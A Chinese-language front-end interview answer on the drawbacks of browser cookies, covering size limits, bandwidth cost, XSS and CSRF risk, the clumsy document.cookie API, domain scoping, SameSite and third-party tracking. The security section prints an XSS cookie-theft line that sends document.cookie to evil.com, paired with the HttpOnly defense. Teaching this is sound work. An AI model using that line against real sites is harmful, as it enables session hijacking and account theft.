Cookie 的弊端

问题

请谈谈 Cookie 的弊端。

解答

1. 容量限制

// 单个 Cookie 大小限制约 4KB
document.cookie = 'data=' + 'x'.repeat(4096); // 可能被截断

// 每个域名下 Cookie 数量有限（通常 20-50 个）
// 超出限制后，旧的 Cookie 会被删除

2. 性能开销

// 每次 HTTP 请求都会自动携带该域下所有 Cookie
// 即使请求静态资源（图片、CSS、JS）也会带上

// 假设有 3KB 的 Cookie，页面有 50 个请求
// 额外带宽消耗：3KB × 50 = 150KB

3. 安全性问题

// XSS 攻击可以窃取 Cookie
// 恶意脚本可以读取 document.cookie
const stolen = document.cookie;
new Image().src = 'https://evil.com/steal?cookie=' + stolen;

// 防护：设置 HttpOnly，禁止 JS 访问
// Set-Cookie: token=abc123; HttpOnly

// CSRF 攻击会自动携带 Cookie
// 用户访问恶意网站时，请求会自动带上目标站点的 Cookie

4. 操作 API 不友好

// 原生 API 只有一个字符串属性，操作繁琐
document.cookie = 'name=value'; // 设置
document.cookie; // 获取所有，返回 "name=value; other=data"

// 需要手动解析
function getCookie(name) {
  const cookies = document.cookie.split('; ');
  for (const cookie of cookies) {
    const [key, value] = cookie.split('=');
    if (key === name) return decodeURIComponent(value);
  }
  return null;
}

// 删除需要设置过期时间
document.cookie = 'name=; expires=Thu, 01 Jan 1970 00:00:00 GMT';

5. 跨域限制

// Cookie 遵循同源策略，不能跨域访问
// a.example.com 无法读取 b.example.com 的 Cookie

// 可以设置 domain 实现子域共享
// Set-Cookie: token=abc; domain=.example.com

6. 移动端和隐私问题

// 第三方 Cookie 被用于用户追踪
// 现代浏览器逐步禁用第三方 Cookie（Safari、Firefox 已默认禁用）

// SameSite 属性限制跨站携带
// Set-Cookie: token=abc; SameSite=Strict  // 完全禁止跨站
// Set-Cookie: token=abc; SameSite=Lax     // 允许导航跳转携带
// Set-Cookie: token=abc; SameSite=None; Secure  // 允许跨站，需 HTTPS

替代方案对比

特性	Cookie	localStorage	sessionStorage
容量	~4KB	~5MB	~5MB
自动发送	是	否	否
过期时间	可设置	永久	会话结束
跨标签页	是	是	否

关键点

• 容量小：单个约 4KB，数量有限制
• 性能差：每次请求自动携带，浪费带宽
• 安全风险：易受 XSS 和 CSRF 攻击
• API 难用：只有字符串操作，需手动解析
• 隐私争议：第三方 Cookie 被逐步禁用